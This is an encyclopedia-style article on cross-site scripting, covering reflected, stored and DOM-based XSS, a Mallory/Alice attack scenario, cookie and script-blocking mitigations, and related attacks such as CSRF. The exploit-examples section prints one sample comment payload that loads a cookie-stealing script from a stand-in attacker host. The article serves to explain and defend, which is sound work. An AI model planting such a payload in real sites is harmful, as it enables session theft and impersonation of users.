Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side script into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007. Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.
- 1 Types
- 2 Exploit examples
- 3 Preventive measures
- 4 Scanning service
- 5 Related vulnerabilities
- 6 See also
- 7 References
- 8 Further reading
- 9 External links
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).
The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.
Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.
A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.
Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.
To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.
Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.
Server-side versus DOM-based vulnerabilities
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the cast of characters commonly used in computer security.
The Browser Exploitation Framework could be used to attack the web site and the user's local environment.
- Mallory gets an account on Bob's website.
- Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags get displayed as is, and any script tags get run.
- Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, he inserts this text:
I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
- When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.
- Mallory can now hijack Alice's session and impersonate Alice.
Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.
||This section is written like a manual or guidebook. (December 2014)|
Contextual output encoding/escaping of string input
Although widely recommended, performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.
Safely validating untrusted HTML input
Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as <b>very</b> large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.
Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie. This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.
Another mitigation present in Internet Explorer (since version 6), Firefox (since version 126.96.36.199), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.
Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones", and in Opera (since version 9) using its "Site Specific Preferences". A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.
The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded). Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities. The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.
Emerging defensive technologies
In a Universal Cross-Site Scripting (UXSS, or Universal XSS) attack, vulnerabilities in the browser itself are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks); such attacks are commonly used by Anonymous, along with DDoS, to compromise control of a network.
Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege. HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).
Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users. XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.
Covert Redirect takes advantage of third-party clients susceptible to XSS or Open Redirect attacks. Covert Redirect was discovered by a mathematical Ph.D. student named Wang Jing from Nanyang Technological University, Singapore. "Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirect is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box."
- Web application security
- Internet security
- XML external entity
- Browser security
- Same-origin policy
- Metasploit Project, an open-source penetration testing tool that includes tests for XSS
- w3af, an open-source web application security scanner
- Free desktop browser extensions that flexibly block execution of scripts:
- For Mozilla Firefox: NoScript, Policeman, or the advanced features of uBlock Origin, a general content blocker extension
- For Google Chrome: ScriptSafe, µMatrix (an extension by the creator of uBlock), or the advanced features of uBlock
- For Opera (newer Chromium-based versions): µMatrix or the advanced features of uBlock
- For Internet Explorer: Trust Setter, an interface to setting Trusted and Restricted Sites (32-bit only, so does not work under Enhanced Protected Mode in 64-bit Windows)
- XSSer: an automatic framework to detect, exploit and report XSS vulnerabilities
- Cross-document messaging
- During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Retrieved May 11, 2008.
- Amit, Yair (December 21, 2005). "Google.com UTF-7 XSS Vulnerabilities". Watchfire. Retrieved May 29, 2008.
- Paco, Hope; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. p. 128. ISBN 978-0-596-51483-9.
- "Cross-site Scripting". Web Application Security Consortium. 2005. Retrieved May 28, 2008.
- Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract). Elsevier Science & Technology via Google Book Search. pp. 70, 156. ISBN 1-59749-154-3. Retrieved May 28, 2008.
- This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in "JS/Ofigel-A". Sophos. Retrieved June 5, 2008. and "F-Secure Malware Information Pages: JS/Quickspace.A". F-Secure. January 5, 2007. Retrieved June 5, 2008. and "JS.Qspace". Symantec Corp. February 13, 2007. Retrieved June 5, 2008.
- Viruses and worms in Alcorn, Wade (September 27, 2005). "The Cross-site Scripting Virus". BindShell.net. Retrieved May 27, 2008. and Grossman, Jeremiah (April 2006). "Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense" (PDF). WhiteHat Security. p. 20. Retrieved June 6, 2008.
- "Bug 272620 – XSS vulnerability in internal error messages". Bugzilla@Mozilla. 2004. Retrieved May 29, 2008.
- "DOM based XSS". OWASP.
- "JQuery bug #9521". 2011.
- "DOM based XSS prevention cheat sheet". OWASP.
- "Strict Contextual Escaping". Angular.js.
- Brodkin, Jon (October 4, 2007). "The top 10 reasons Web sites get hacked". Network World. IDG. Retrieved June 8, 2008.
- Williams, Jeff (January 19, 2009). "XSS (Cross Site Scripting) Prevention Cheat Sheet". OWASP. Retrieved February 4, 2009.
- Sharma, Anand (February 3, 2004). "Prevent a cross-site scripting attack". IBM. Retrieved May 29, 2008.
- "ModSecurity: Features: PDF Universal XSS Protection". Breach Security. Retrieved June 6, 2008.
- "Ajax and Mashup Security". OpenAjax Alliance. Retrieved June 9, 2008.
- O'Reilly, Tim (September 30, 2005). "What Is Web 2.0". O'Reilly Media. pp. 4–5. Retrieved June 4, 2008.
- "How to use security zones in Internet Explorer". Microsoft. December 18, 2007. Retrieved June 4, 2008.
- Lie, Håkon Wium (February 7, 2006). "Opera 9 Technology Preview 2". Opera Software. Retrieved June 4, 2008.
- "NoScript". Mozilla. May 30, 2008. Retrieved June 4, 2008. and Mogull, Rich (March 18, 2008). "Should Mac Users Run Antivirus Software?". TidBITS. TidBITS Publishing. Retrieved June 4, 2008.
- ""Using client-side events" in DataWindow Programmer's Guide". Sybase. March 2003. Retrieved June 4, 2008.
- "NoScript Features". Retrieved March 7, 2009.
- "Content Security Policy 1.0". W3C Candidate Recommendation. November 15, 2012. Retrieved February 22, 2013.
- Sceptic blog
- Di Paola, Stefano (January 3, 2007). "Adobe Acrobat Reader Plugin - Multiple Vulnerabilities". Wisec.it. Retrieved March 13, 2012.
- "Security hole in Internet Explorer allows attackers to execute arbitrary programs". Heise Media UK. May 16, 2008. Retrieved June 7, 2008.
- "Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player". Adobe Systems. November 14, 2006. Retrieved June 7, 2008.
- Auger, Robert (April 17, 2008). "The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59)". Cgisecurity.com. Retrieved June 7, 2008.
- "Article about CSRF and same-origin XSS"
- "OAuth 2.0 and OpenID Redirect Vulnerability". Hacker News. May 2, 2014. Retrieved December 21, 2014.
- Scharr, Jill (May 2, 2014). "Facebook, Google Users Threatened by New Security Flaw". Tom's Guide. Retrieved December 21, 2014.
- "SQL Injection". Web Application Security Consortium. 2005. Retrieved June 7, 2008.
- "The Cross-Site Scripting FAQ". Cgisecurity.com. 2002. Retrieved June 7, 2008.
- MacKenzie, Thomas. "ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages". Retrieved 2015-10-24.
- "XSS Explained – Simple XSS Explanation". HoubySoft.com. Retrieved 2015-10-24.
- "Preventing XSS in ASP.NET Made Easy". Lock Me Down | Security for the Everyday Developer. 2015-02-06. Retrieved 2015-10-24.
- "Cross Site Scripting". The Web Application Security Consortium. 2005-10-13. Retrieved 2015-10-24.